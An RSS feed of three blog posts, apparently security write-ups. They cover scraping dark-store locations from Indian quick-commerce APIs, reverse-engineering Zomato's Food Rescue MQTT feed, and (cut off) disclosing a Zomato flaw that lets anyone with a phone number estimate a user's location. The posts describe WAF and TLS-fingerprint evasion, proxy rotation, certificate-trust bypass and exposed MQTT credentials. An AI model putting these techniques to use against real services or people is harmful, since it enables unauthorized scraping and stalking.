<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jatin Banga on Medium]]></title>
        <description><![CDATA[Stories by Jatin Banga on Medium]]></description>
        <link>https://medium.com/@jatin-dot-py?source=rss-3673457c8f2a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vv4cHN55dgN7CfRB</url>
            <title>Stories by Jatin Banga on Medium</title>
            <link>https://medium.com/@jatin-dot-py?source=rss-3673457c8f2a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 13:42:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jatin-dot-py/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Scraped Most Dark Stores in India — Blinkit, Zepto & Swiggy Instamart]]></title>
            <link>https://infosecwriteups.com/how-i-scraped-most-dark-stores-in-india-blinkit-zepto-swiggy-instamart-ad939ff17af9?source=rss-3673457c8f2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad939ff17af9</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[web-scraping]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Jatin Banga]]></dc:creator>
            <pubDate>Fri, 20 Mar 2026 14:15:39 GMT</pubDate>
            <atom:updated>2026-08-30T14:31:44.082Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9HCLgzSxTvyEgZfVWhlMA.png" /></figure><p><em>A technical portfolio project: reverse-engineering the store coordinates and delivery geofences of India’s three largest quick-commerce platforms.</em></p><p><em>Map explorable at: </em><a href="https://darkstores.vercel.app/"><em>https://darkstores.vercel.app/</em></a></p><p>If you order groceries in India and they arrive in 10 minutes, there’s a dark store within 2–3 kilometres of your house. These are small, windowless warehouses — no walk-in customers, no signage, just pickers and riders. Blinkit, Zepto, and Swiggy Instamart collectively operate thousands of them across the country.</p><p>I wanted the coordinates of every single one.</p><p>Why? Partly curiosity about the infrastructure density of India’s Q-Commerce boom, partly a practical engineering challenge I wanted to document. This post is a breakdown of the full scraping stack — the APIs I reverse-engineered, the defenses I had to work around, and the physical hacks I used when software alone wasn’t enough. If you’re into scraping, reverse engineering, or mobile API analysis, this is for you.</p><h3>There’s No Store Directory</h3><p>These platforms don’t expose a public store list. There’s no /api/stores endpoint returning a clean JSON array. Their serviceability APIs are designed around a single question: <em>&quot;Is this GPS coordinate serviceable right now?&quot;</em></p><p>Send a lat/lng, get back whether a store covers you — and if so, which one. That serviceability check is the primitive everything else was built on top of.</p><h4>The Foundation: Blanket the Country, Filter the Noise</h4><p>Before writing a single worker, I had to solve a geographic scope problem. India is large. A 1.5–2km coordinate grid over India’s GeoJSON boundary produces roughly <strong>1.4 — 3.3 million points (varies based on grid step)</strong>per platform. Most of them sit over mountains, forests, desert, or ocean — places with zero dark stores.</p><p>The fix was a <strong>population density pre-filter</strong> using <a href="https://www.worldpop.org/">WorldPop</a> — a freely available raster dataset encoding per-km² population estimates. I loaded India’s WorldPop raster (ind_pd_2020_1km.tif) and dropped any grid coordinate below a population threshold before the scraper ever started.</p><p>This single vectorized filter — a boolean mask over a NumPy array — collapsed 1.4 million potential API calls per platform down to a few hundred thousand, concentrated entirely in urban and peri-urban clusters where dark stores actually operate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Yb9lQ3m-35_lLgUxJ5DRg.png" /><figcaption>1.4 million coordinate points blanketing India’s borders (left) vs. ~300K points remaining after dropping coordinates with population density below 500/km² (right). Every API call saved is a rate limit not triggered.</figcaption></figure><h3>How Each Platform Defended Itself</h3><p>The three platforms had meaningfully different defence profiles, which shaped the approach for each one.</p><p><strong>Blinkit</strong> was the hardest. HTTP 429 rate limits were frequent, and standard Python HTTP clients were immediately flagged by TLS/JA3 fingerprinting — Cloudflare detecting a non-browser TLS handshake before requests even reached the application layer. The fix was curl_cffi, which impersonates Chrome 110’s TLS footprint at the socket level (impersonate=”chrome110&quot;). One useful discovery mid-project: Indian datacenter IPs worked fine against Blinkit. I moved to a Bright Data datacenter proxy pool for the bulk of the country sweep, which was far faster than mobile IP rotation.</p><p><strong>Swiggy Instamart</strong> was more unpredictable. Beyond standard 400s range, Swiggy would silently circuit-break — returning 200 OK with either a completely empty body or placeholder-looking data that wasn’t real.</p><p>Concurrency had to stay low (10–20 workers) to stay under the WAF threshold. I switched to datacenter proxies with higher concurrency here as well once the data quality looked solid.</p><p><strong>Zepto</strong> was the most forgiving by far. A single IP could sustain tens of thousands of requests before triggering a rate limit. The discovery phase ran fast.</p><p>One thing consistent across all three: the vast majority of scraping used unauthenticated API calls — the same endpoints the app uses before a user logs in. Authenticated requests only became necessary for Zepto’s deep data extraction phase.</p><h3>Platform 1: Blinkit — Converging 50 Metres</h3><p>Blinkit’s layout feed endpoint takes GPS coordinates and app identity as custom HTTP headers, and returns the full localized app homepage as a JSON widget tree.</p><pre>POST https://api2.grofers.com/v1/layout/feed<br><br>app_client: consumer_android<br>lat: 28.6139<br>lon: 77.2090<br>auth_key: 45bff2b1437ff764d5e5b9b292f9771428e18fc4XXXXXXXXXXXXXXXXX<br>battery-level: EXCELLENT</pre><p>Buried inside the response: <strong>merchant_info.id</strong> (the store ID) and <strong>promise_time_state.DistanceInMeter</strong> — the exact road distance in metres from the spoofed coordinate to the nearest dark store.</p><p>That distance field became the engine of the convergence algorithm.</p><h4>The Auto-Convergence Engine</h4><p>A 1.5km grid sweep confirms a store exists and gives a rough location. Getting to 50-metre accuracy required a second phase.<br>For every discovered store, I took the last known shortest distance returned by the API and generated an 11×11 micro-grid — 121 new coordinate points arranged within that radius.</p><p>I re-submitted this micro-grid, took the new shortest distance, and generated another, tighter micro-grid. Each generation shrinks the search area. After a few iterations, the reported distance converges on near-zero, pinpointing the store’s physical location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ykFZln4comIxMBWmPbx-Zw.jpeg" /><figcaption>Each dot is a GPS coordinate sent to the app’s API. The response tells us one thing: how far the nearest dark store is. No direction — just distance. Multiple rounds of tightening the grid and that’s enough to pinpoint a hidden warehouse to within 0-50 metres.</figcaption></figure><p><strong>One complication</strong>: Blinkit stores occasionally go offline due to surge demand, returning messages like <em>“Due to excess demand, please come back at 6:00 am.” </em>Instead of dropping these, I kept them in a retry queue and waited them out before running the convergence pass.</p><h3>Platform 2: Zepto — The Store That Hands You Its Own Boundary</h3><p>Zepto was interesting for a different reason. The discovery phase was easy. The real surprise was what Zepto returned once I hit the right authenticated endpoint.</p><h4>Phase 1: Discovery</h4><p>The unauthenticated serviceability endpoint was simple. Send a coordinate, get back a <strong>storeId</strong> if Zepto covers it. I swept the population-filtered grid at 2km intervals, collecting IDs. Rate limits were rarely a concern at this stage.</p><h4>The Authenticated Data Pull</h4><p>Store coordinates, names, and geofences weren’t available from the serviceability endpoint. That data lived in a separate, authenticated internal page endpoint — the app’s homepage payload for a logged-in session.</p><p>This required spoofing an Android client (could have done with a web client too, which I realized later) with a valid Bearer token (obtained via a logged-in Zepto web/android session). Something like:</p><pre>POST /lms/api/v2/get_page HTTP/1.1<br>Host: api.zepto.com<br>Content-Type: application/json<br>Authorization: Bearer eyJhbGc........................<br>app_version: 26.3.1<br>User-Agent: okhttp/4.12.0<br>tenant: ZEPTO<br>platform: android<br>Connection: keep-alive<br><br>{<br>  &quot;page_size&quot;: 5,<br>  &quot;latitude&quot;: 19.0760,<br>  &quot;longitude&quot;: 72.8777,<br>  &quot;page_type&quot;: &quot;HOME&quot;,<br>  &quot;version&quot;: &quot;v2&quot;,<br>  &quot;show_new_eta_banner&quot;: true,<br>  &quot;cartInfo&quot;: {<br>    &quot;removedCampaigns&quot;: [],<br>    &quot;availedCampaignProducts&quot;: [],<br>    &quot;cartProducts&quot;: [],<br>    &quot;zeptoPass&quot;: {<br>      &quot;isPassAdded&quot;: false,<br>      &quot;isBxGyUserOpted&quot;: false<br>    }<br>  },<br>  &quot;multi_tab_version&quot;: &quot;V2&quot;<br>}</pre><p>The response is a large widget tree representing the entire app’s home screen. I deployed recursive JSON traversal hunting for <strong>storeDetailsResponse</strong> inside it. When found, Zepto returned the store’s real name, precise coordinates, and most notably — <strong>servicableGeofence</strong></p><blockquote>(Yes, Zepto misspelled it — servicableGeofence is the actual field name in the response.)</blockquote><pre>    &quot;storeDetailsResponse&quot;: {<br>        &quot;city&quot;: {<br>            &quot;country&quot;: &quot;India&quot;,<br>            &quot;name&quot;: &quot;Delhi&quot;,<br>            &quot;state&quot;: &quot;Delhi&quot;<br>        },<br>        &quot;cityId&quot;: &quot;c5b3d670-f20e-4cae-a6b7-42e17b8fb08d&quot;,<br>        &quot;closeTime&quot;: &quot;20:30:00&quot;,<br>        &quot;estimatedLaunchDate&quot;: &quot;2024-12-11T01:30:00Z&quot;,<br>        &quot;id&quot;: &quot;3d03e7a7-4ded-458a-9349-2978cd333ef0&quot;,<br>        &quot;initiateSdkNewFlow&quot;: true,<br>        &quot;isActive&quot;: true,<br>        &quot;isFullNightDeliveryEnabled&quot;: false,<br>        &quot;isLive&quot;: true,<br>        &quot;isOnline&quot;: true,<br>        &quot;issueAtStore&quot;: false,<br>        &quot;latitude&quot;: 28.641493,<br>        &quot;longitude&quot;: 77.234596,<br>        &quot;name&quot;: &quot;DEL-Connaught Place&quot;,<br>        &quot;openTime&quot;: &quot;00:30:00&quot;,<br>        &quot;phase&quot;: &quot;LIVE&quot;,<br>        &quot;raining&quot;: false,<br>        &quot;servicableGeofence&quot;: [<br>             [&quot;28.6546246&quot;, &quot;77.2365741&quot;],<br>             [&quot;28.6560326&quot;, &quot;77.2366875&quot;],<br>             [&quot;28.6561437&quot;, &quot;77.2344435&quot;],<br>             [&quot;28.6561287&quot;, &quot;77.233521&quot;],<br>             ...<br>            ]<br>}</pre><ul><li>And the store’s real name,</li><li>Precise latitude and longitude,</li><li>servicableGeofence — a polygon of GPS coordinates outlining the store’s exact delivery boundary</li></ul><p>When a <strong>servicableGeofence</strong> like this is plotted on a map, it looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9oeXbdiZpHcs6ZB-iXB2Hw.png" /><figcaption>Geofence returned for a store by Zepto API, plotted on map.</figcaption></figure><h3>Platform 3: Swiggy Instamart — Working With the Cart API</h3><h4>Phase 1: Pod Discovery</h4><p>Instamart stores are called “pods” internally. The select-location home API reveals which pod services a given coordinate and returns its podId. Sweeping the population-filtered grid gave me pod coverage across the country.</p><h4>Getting the Store Data</h4><p>To retrieve deep store metadata — operational status, internal store info — I hit Instamart’s cart API with a guest cart payload targeting a specific pod.</p><p>To construct a cart payload the backend would actually process, I needed a spinId alongside the podId. The spinId is an internal product identifier surfaced during the Phase 1 discovery sweep — I don&#39;t know what it maps to semantically, but it was the minimum required field to make the cart payload structurally valid. Without it, the backend rejects the request outright.</p><pre><br>POST /api/instamart/checkout/v2/cart?pageType=INSTAMART_CART HTTP/1.1<br>Host: www.swiggy.com<br>Content-Type: application/json<br>Cookie: lat=19.076000; lng=72.877700<br><br>{<br>  &quot;data&quot;: {<br>    &quot;items&quot;: [{<br>      &quot;productId&quot;: &quot;&quot;,<br>      &quot;quantity&quot;: 1,<br>      &quot;tradeFreebie&quot;: true,<br>      &quot;spin&quot;: &quot;84729103&quot;,<br>      &quot;itemId&quot;: &quot;T&quot;,<br>      &quot;meta&quot;: {<br>        &quot;type&quot;: &quot;structure&quot;,<br>        &quot;storeId&quot;: 10014,<br>        &quot;freebie&quot;: false,<br>        &quot;isGiftBag&quot;: false<br>      },<br>      &quot;serviceLine&quot;: &quot;INSTAMART&quot;<br>    }],<br>    &quot;cartMetaData&quot;: {<br>      &quot;deliveryType&quot;: &quot;INSTANT&quot;,<br>      &quot;primaryStoreId&quot;: 10014,<br>      &quot;storeIds&quot;: [10014]<br>    },<br>    &quot;cartType&quot;: &quot;INSTAMART&quot;<br>  },<br>  &quot;source&quot;: &quot;userInitiated&quot;<br>}</pre><p>The geographic cookies are essential. The lat/lng values have to correspond to the pod’s actual service zone — send the wrong coordinates and the response returns nothing useful. With a valid payload and matching location cookies, Instamart’s backend returned a <strong>storesInfo</strong> array containing the store’s coordinates and operational status.</p><h4>The Sentinel Loop</h4><p>Quick-commerce stores go offline transiently — heavy rain, inventory exhaustion, surge demand. When a pod was offline, Swiggy’s API would silently route me to a different nearby store instead. If that was a store I hadn’t seen before, I stored it — but kept the original offline pod in the queue for retry. The sentinel loop re-attempted every offline pod every few minutes until it came back online and returned its own data directly. Without this, a significant chunk of the network would have been missing from the final dataset.</p><h3><strong>Initial Physical Setup</strong></h3><p>In the early stages, I wasn’t sure if any of this was feasible. Before spending money on proxies to prove a concept, I went with the cheapest possible IP rotation: a physical Android phone sitting next to the laptop, tethered as a mobile hotspot.</p><p>When a 429 hit, a Windows alert popped up, I toggled Airplane Mode manually to get a fresh carrier IP, and hit Enter to resume all workers. Crude, but free — and it was enough to prove the approach worked.</p><p>Once validated, I automated this with <strong>MacroDroid</strong>: a webhook on the Android device that toggled Airplane Mode on/off command. The Python script fired the webhook, waited 18 seconds for the cellular radio to cycle, polled <strong>api.ipify.org</strong> until a new IP was confirmed, then resumed all async workers.</p><p>For the production sweeps on Blinkit and Instamart, I moved to a Bright Data datacenter proxy pool — faster, scalable, and datacenter IPs weren’t being filtered by either platform.</p><h3>What the Final Dataset Looks Like</h3><p>After running all three scrapers to completion:</p><ul><li>Every active Blinkit dark store in India, coordinates converged to within 50 metres</li><li>Every active Zepto dark store, with exact delivery geofence polygons</li><li>Every active Swiggy Instamart pod, with coordinates and operational status</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZqQyHoiBlDQeu8-H6-MYg.png" /><figcaption>Every dark store currently active in New Delhi — Blinkit, Zepto, and Swiggy Instamart — plotted from coordinates scraped entirely through their own APIs. Explore the map at: <a href="https://darkstores.vercel.app/">https://darkstores.vercel.app/</a></figcaption></figure><h3>Takeaways</h3><ul><li><strong>Pre-filter before you scale: E</strong>xample:<strong> </strong>1.4–3.3 million coordinate points per platform is too many. WorldPop + rasterio collapses that to a manageable working set before a single API call is made.</li><li><strong>A </strong><strong>200 is not a success: </strong>Swiggy&#39;s WAF returns 200 OK with an empty or placeholder body. Always validate the response body explicitly, not just the status code.</li><li><strong>Validate cheaply before you spend: </strong>Mobile hotspot IP rotation is free and effective for proving an approach works. Switch to proxies once you know the data is there.</li></ul><p><em>All scraping was done for research purposes. No personal user data was collected at any point. Store coordinates and delivery geofences are geographic operational data. Personal accounts were used for any authenticated access.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad939ff17af9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-scraped-most-dark-stores-in-india-blinkit-zepto-swiggy-instamart-ad939ff17af9">How I Scraped Most Dark Stores in India — Blinkit, Zepto &amp; Swiggy Instamart</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Reverse-Engineered Zomato’s Food Rescue Feature — Here’s What I Found Inside]]></title>
            <link>https://infosecwriteups.com/i-reverse-engineered-zomatos-food-rescue-feature-here-s-what-i-found-inside-f7043d3710ee?source=rss-3673457c8f2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7043d3710ee</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Jatin Banga]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 12:47:47 GMT</pubDate>
            <atom:updated>2026-03-11T04:35:27.213Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*gVYVJxwxVR7XFZAi-jpf1A.jpeg" /></figure><p>Zomato’s “Food Rescue” is essentially a race condition. Here’s how I built a headless monitor to win it.</p><p>Every so often, Zomato throws a pop-up on your screen: a cancelled nearby order offered at 50% off. It’s gone in seconds — claimed by whoever is fast enough, or lucky enough to be staring at the right screen at the right time.</p><p>I missed it one too many times. Not because I was slow — because I wasn’t even looking. And that bothered me enough to do something about it.<br>What started as “I want a notification before the flyer appears” became a weeks-long deep dive into Android traffic interception, MQTT protocol internals, server-driven UI architecture, and Zomato’s real-time event pipeline. This is that story.</p><h4>The Problem: A Race Condition You Can’t Win Passively</h4><p>Food Rescue events trigger when a real human cancels an order that is already out for delivery. The deal appears for users within a ~3 km radius of where the delivery person currently is. The moment it appears in your app, it’s also appearing for dozens of other users. Miss the flyer — or accidentally swipe back — and it’s gone.</p><p>The official app requires you to be actively watching it. I wanted a solution that didn’t.</p><p>My goal: intercept the exact same real-time signals the Zomato app listens to, and send myself a push notification the moment a cancellation event fires — before the app even opens.</p><h4>Step 1: Intercepting the Traffic</h4><p>Reverse-engineering a web app is trivial. You open DevTools, go to the Network tab, right-click a request, and copy it as cURL. Done.<br>Mobile apps are a different problem entirely. Modern Android apps operate across three levels of certificate trust, each progressively harder to break:</p><p><strong>Level 1: </strong>User Trust: The app trusts any certificate you install in your phone’s settings. This method has been dead since Android 7, where apps stopped honoring user-installed certificates by default.</p><p><strong>Level 2</strong> : System Trust: The app trusts certificates pre-installed on the OS (the System Store). To intercept here, you need a rooted device or emulator so you can inject your own certificate into the system store.</p><p><strong>Level 3: </strong>SSL Pinning: The app hardcodes a specific fingerprint of its server certificate directly in its own code. Even if your certificate is in the system store, the app checks: “Does this certificate’s hash match the one I have stored?” If it doesn’t, the connection is killed immediately.</p><p>Interestingly, Zomato’s basic HTTP traffic was interceptable using HTTPToolkit, which injects a certificate into the system store. SSL pinning — if it exists in Zomato’s stack — either wasn’t enforced for these endpoints or HTTPToolkit was handling more under the hood than I initially understood.</p><p>I searched the intercepted traffic for keywords like food_rescue and rescue. An hour in, I found what I was looking for.</p><h4>Step 2: The Home Feed Endpoint</h4><p>When you open Zomato to a saved address, the app calls:</p><pre>GET /gw/tabbed-home?cell_id=412037575450XXXXXX&amp;address_id=123456 HTTP/1.1<br>Host: api.zomato.com<br>X-Zomato-Access-Token: ...<br>Accept: application/json<br>User-Agent: OkHttp/4.12.0</pre><p>Both cell_id and address_id come from your saved addresses — they’re returned when you list your saved locations in the app.</p><p>The response is enormous — thousands of lines of JSON. The reason: Zomato uses <strong>server-driven UI</strong>. Every button, every action, every layout in the app is defined in this JSON response. The client is essentially just an interpreter. You see things like layout_snippet_v3, timer_snippet_type_4, and so on — the server tells the app what to render and what to do when you tap it.</p><p>Buried inside this response, under subscription_channels, was this:</p><pre>{<br>  &quot;subscription_channels&quot;: [<br>    {<br>      &quot;type&quot;: &quot;food_rescue_cell_412037575450XXXXXX&quot;,<br>      &quot;time&quot;: 174XXXXXXXX,<br>      &quot;client&quot;: {<br>        &quot;username&quot;: &quot;zemqtt&quot;,<br>        &quot;password&quot;: &quot;secure_password_here&quot;,<br>        &quot;keepalive&quot;: 900<br>      }<br>    }<br>  ]<br>}</pre><p>I had no idea what MQTT was. A quick ask to an LLM confirmed: this was an MQTT subscription configuration. The app was subscribing to a real-time event channel. The MQTT host, however, wasn’t in the payload — it was hardcoded somewhere in the application binary.</p><h4>Step 3: Finding the MQTT Host</h4><p>This is where things got harder for me.</p><p>HTTPToolkit only intercepts HTTP. The garbled traffic I had been seeing in its UI wasn’t a bug — it was MQTT traffic being intercepted and misrepresented. No useful clues there.</p><p>I tried decompiling the APK using JADX and searching for strings like *.zomato.com and mqtt. I could see where the MQTT connection was being established in the code, but I couldn’t isolate the actual host — too many search results, too much layering.</p><p>So I did something unconventional: I asked Grok to deep-search for anything publicly available about Zomato’s MQTT infrastructure. It surfaced the host: “consumermqtt.zomato.com”.</p><p>I still don’t know exactly how it found it. But after trying different protocols and common MQTT port numbers, I was able to connect. Later I discovered the official app actually uses “hedwig.zomato.com” — the other endpoint appears to be an alias.</p><h4>Step 4: The First Real MQTT Message</h4><p>Using MQTT Explorer, I subscribed to the topic food_rescue_cell_412037575450XXXXXX. The first message I ever received looked like this:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;event_type&quot;: &quot;order_claimed&quot;,<br>    &quot;success_actions&quot;: [<br>      {<br>        &quot;food_rescue_order_claimed&quot;: {<br>          &quot;identifier&quot;: &quot;78xxxxxxxx&quot; # Order ID<br>        },<br>        &quot;type&quot;: &quot;food_rescue_order_claimed&quot;<br>      }<br>    ]<br>  },<br>  &quot;id&quot;: &quot;0f934ff8651fae92d1a95443XXXXXXXXX&quot;,<br>  &quot;timestamp&quot;: 177XXXXX,<br>  &quot;type&quot;: &quot;food_rescue&quot;<br>}</pre><p>A few things I learned immediately:</p><ul><li>Zomato’s MQTT broker <strong>retains messages</strong>. If the last event was order_claimed, reconnecting 30 minutes later would still show you that message. Same for order_cancelled — if the order wasn&#39;t claimed, the cancellation message persists for a while.</li><li>There are two event types that matter: order_cancelled (the trigger) and order_claimed (the resolution).</li><li>Subscribing to # (all topics) was blocked — Zomato has access control configured per client.</li></ul><h4>Step 5: How the App Reacts to a Cancellation</h4><p>At this point I needed to understand exactly what the app does when it receives an order_cancelled event. HTTPToolkit couldn’t help here since it was blocking MQTT traffic.</p><p>I found apk-mitm, which patches the APK, removes the System Trust restriction from the manifest, and recompiles it — so the modified app explicitly trusts user-installed certificates. Combined with mitmproxy, I could now see both HTTP and MQTT traffic simultaneously.</p><p>After some waiting, a real cancellation event occurred nearby. The moment it did, the app fired:</p><pre>POST /gw/gamification/food-rescue/create-cart HTTP/1.1<br>Host: api.zomato.com<br>X-Zomato-Access-Token: your_token_here<br>X-User-Defined-Lat: 28.5355<br>X-User-Defined-Long: 77.3910<br>...</pre><p>With a body built entirely from data already available in the address object. The response — when an active rescue exists — is a deeply nested JSON structure containing the cart ID, parent order ID, restaurant details, number of people watching, and a countdown timer.</p><pre>{<br>  &quot;response&quot;: {<br>    &quot;floating_timer_view_1&quot;: {<br>      &quot;click_action&quot;: {<br>        &quot;open_food_rescue_bottom_sheet&quot;: {<br>          &quot;results&quot;: [<br>            {<br>              &quot;timer_snippet_type_4&quot;: {<br>                &quot;button&quot;: {<br>                  &quot;click_action&quot;: {<br>                    &quot;deeplink&quot;: {<br>                      &quot;url&quot;: &quot;zomato://order?res_id=1912345&quot;,<br>                      &quot;post_body&quot;: &quot;{\&quot;cart_id\&quot;:\&quot;cart_888\&quot;,\&quot;context\&quot;:{\&quot;cart_modification\&quot;:{\&quot;ParentOrderID\&quot;:\&quot;order_999\&quot;,\&quot;ParentCartID\&quot;:\&quot;cart_777\&quot;,\&quot;CartModificationType\&quot;:\&quot;replace\&quot;},\&quot;cart_analytics_data\&quot;:{\&quot;number_of_people_watching\&quot;:\&quot;15\&quot;,\&quot;cart_expiry_timestamp\&quot;:\&quot;1740000000\&quot;}}}&quot;<br>                    }<br>                  }<br>                }<br>              }<br>            }<br>          ]<br>        }<br>      }<br>    }<br>  }<br>...<br>}</pre><h4>Step 6: The “Pitch Once” Constraint</h4><p>Here’s the painful part I discovered after wasting a day or two: the /gw/gamification/food-rescue/create-cart endpoint is <strong>pitch-once only</strong>.</p><p>The moment you call it, Zomato marks that you have been shown the offer. Call it a second time — even a second later — and you get a failure response. The server has either flagged your session as already notified, or someone else claimed it faster.</p><p>This means: if I called the endpoint programmatically when the MQTT event fired, and then the user opened the official Zomato app hoping to see the flyer — nothing would be there. The app had already “shown” it to my script.</p><p>I tried deep linking into the Zomato app from a notification to hand off the session. None of it worked reliably — too time-sensitive, too many variables.</p><p>So I accepted a simpler outcome: <strong>listen for the MQTT event, send a push notification, let the user open Zomato themselves.</strong> The notification would at least give them a head start versus waiting to stumble upon the flyer organically.</p><h4>Step 7: Deduplication and Cooldown Logic</h4><p>One issue I didn’t expect: Zomato sometimes fires the same order_cancelled event 3–5 times in rapid succession. Whether this is intentional retry logic or a side effect of their message retention setup, I&#39;m not sure.</p><p>The fix was straightforward:</p><ul><li>Store the unique id from each event.</li><li>If the script has already processed that ID, skip it.</li><li>Implement a cooldown window so that even if multiple events arrive for the same cancellation, only one notification goes out.</li></ul><p>The first notification is all a user needs. Sending five is just noise.</p><h4>Step 8: Building It Out</h4><p>At this point the core logic was working. The remaining questions were about packaging.</p><p><strong>Login flow:</strong> Rather than asking users to manually intercept and hardcode their access token, I reverse-engineered Zomato’s login flow — phone number, OTP, session establishment — and built it into the tool. This took around 10–15 hours but made the tool self-contained.</p><p><strong>Distribution:</strong> I packaged the Python logic into a CLI app: <a href="https://github.com/jatin-dot-py/jomato">github.com/jatin-dot-py/jomato</a>. But asking people to run a Python script on Termux or a personal server felt like the wrong UX.</p><p>I tried building a mobile UI with Flet. Eight hours later, nothing usable.</p><p>So I ported the entire thing to Kotlin. The prompt I gave the LLM was precise: <em>“Copy this Python script exactly. Same headers, same business logic. At the network level, no one should be able to tell whether it’s Python or Kotlin.”</em> The Kotlin app came together in under 24 hours: <a href="https://github.com/jatin-dot-py/jomato-mobile">github.com/jatin-dot-py/jomato-mobile</a>.</p><h4>What This Reveals About Zomato’s Architecture</h4><p>A few things stood out from this investigation worth noting independently:</p><p><strong>Server-driven UI at scale:</strong> Zomato’s entire frontend is orchestrated from the server. The client app is a generic renderer. This lets them ship UI changes without app updates, but it also means the entire payload — including internal action endpoints, deeplinks, and analytics — is exposed to anyone who can read the JSON.</p><p><strong>MQTT for real-time events:</strong> Using MQTT for features like Food Rescue is a sensible architectural choice. It’s lightweight, persistent, and works well for broadcast scenarios. The credential exposure in the home feed response (username and password for the MQTT client) is worth noting — anyone who can read that API response can subscribe to the same topics.</p><p><strong>The pitch-once constraint as abuse prevention:</strong> The single-call limit on /gw/gamification/food-rescue/create-cart is almost certainly intentional — it prevents one session from camping on the endpoint and blocking other users. But it has the side effect of making the flow incompatible with programmatic interception, which may also be intentional.</p><h4>What’s Next</h4><p>A few ideas I haven’t fully explored:</p><p><strong>Deep linking completion:</strong> There may be a way to start the cart programmatically and hand off to the official app mid-flow. I haven’t found it yet, but I haven’t fully given up.</p><p><strong>Shadow account approach:</strong> Run a secondary Zomato account that mirrors your address and location. The shadow account handles the MQTT monitoring and the initial cart call. When it fires, your real account opens the app fresh — no “already pitched” state, full flyer experience.</p><p><strong>Good enough as-is:</strong> The notification-first approach already removes the need to stare at the app. For most users, that’s sufficient.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7043d3710ee" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-reverse-engineered-zomatos-food-rescue-feature-here-s-what-i-found-inside-f7043d3710ee">I Reverse-Engineered Zomato’s Food Rescue Feature — Here’s What I Found Inside</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zomato Privacy Flaw: How the ‘Friend Recommendations’ Feature Enables Location Stalking]]></title>
            <link>https://infosecwriteups.com/how-a-zomato-feature-enables-stalking-which-they-call-working-as-intended-4372ccf56a77?source=rss-3673457c8f2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4372ccf56a77</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[privacy]]></category>
            <dc:creator><![CDATA[Jatin Banga]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 14:09:59 GMT</pubDate>
            <atom:updated>2026-03-11T04:35:49.400Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7JTdzr4xYC44MKTVdw0QiQ.png" /></figure><p><strong>TL;DR:</strong> Zomato’s “Friend Recommendations” API allows unilateral contact syncing. By uploading a phone number, bad actors can extract a user’s restaurant recommendation history and restaurant coordinates. By mapping overlapping delivery radii, an attacker can estimate a user’s approximate physical location without their consent. <strong>GitHub Repository &amp; Full Proof of Concept Code: </strong><a href="https://github.com/jatin-dot-py/zomato-intelligence">https://github.com/jatin-dot-py/zomato-intelligence</a> (Status: As of 26 Feb, the endpoints remain unpatched)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ulhW6J-OHSiSe3wVoZmbCw.png" /><figcaption>Screenshot of Eternal security team closing HackerOne privacy report.</figcaption></figure><p>Last week, I reported a privacy flaw in Zomato’s “Friend Recommendations” feature with a proof-of-concept video and an automated script. Eternal (<em>Zomato’s parent company after the rebrand</em>) closed the ticket in 12 minutes, labelling the ability to track a stranger’s approximate physical location as “Intended Behaviour.”</p><p><strong>The flaw</strong>: anyone who has your phone number can silently sync it against Zomato’s API, extract your restaurant recommendation history, and map delivery radius overlaps to estimate where you live — without your knowledge, without your consent, and without any notification sent to you.</p><h3>The Zomato Privacy Loophole: Discovering the API Flaw</h3><p>I have known this was a possibility for months; I realized this because:</p><p>The refrigerator repair or service center guys aren&#39;t my friends. All I did was save their contacts. Why am I supposed to know what they eat or where they potentially have 